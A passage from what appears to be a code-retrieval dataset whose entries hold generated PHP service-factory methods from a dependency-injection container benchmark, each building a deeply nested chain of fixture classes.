\\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "3250dbe344b8704b040f898a0c7d5f30", "score": "0.64089096", "text": "protected function getClass97Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class97(new \\DiContainerBenchmarks\\Fixture\\Class96(new \\DiContainerBenchmarks\\Fixture\\Class95(new \\DiContainerBenchmarks\\Fixture\\Class94(new \\DiContainerBenchmarks\\Fixture\\Class93(new \\DiContainerBenchmarks\\Fixture\\Class92(new \\DiContainerBenchmarks\\Fixture\\Class91(new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "c564454db6d2ded923a6cf59365b37ff", "score": "0.64006233", "text": "protected function getClass17Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))));\n }", "title": "" }, { "docid": "96939d45739fa0b2b215ff1fb6992624", "score": "0.6396897", "text": "protected function getClass28Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "2a9baff4446d07e0c85253287f0bef90", "score": "0.6396842", "text": "protected function getClass61Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "0e67badd657a56108c641838d54c674b", "score": "0.6396822", "text": "protected function getClass38Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "7cc3aeda2e91efcd6d28a4abc8966906", "score": "0.6382663", "text": "protected function getClass21Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))));\n }", "title": "" }, { "docid": "67e3907af5750d6fb50effa144e0fac4", "score": "0.6369329", "text": "protected function getClass64Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "54bf07e26fd78e0784abe9d2c323328c", "score": "0.63683516", "text": "protected function getClass58Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "8a2b4cf8959f6747a979cf260068c616", "score": "0.6358703", "text": "protected function getClass86Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new 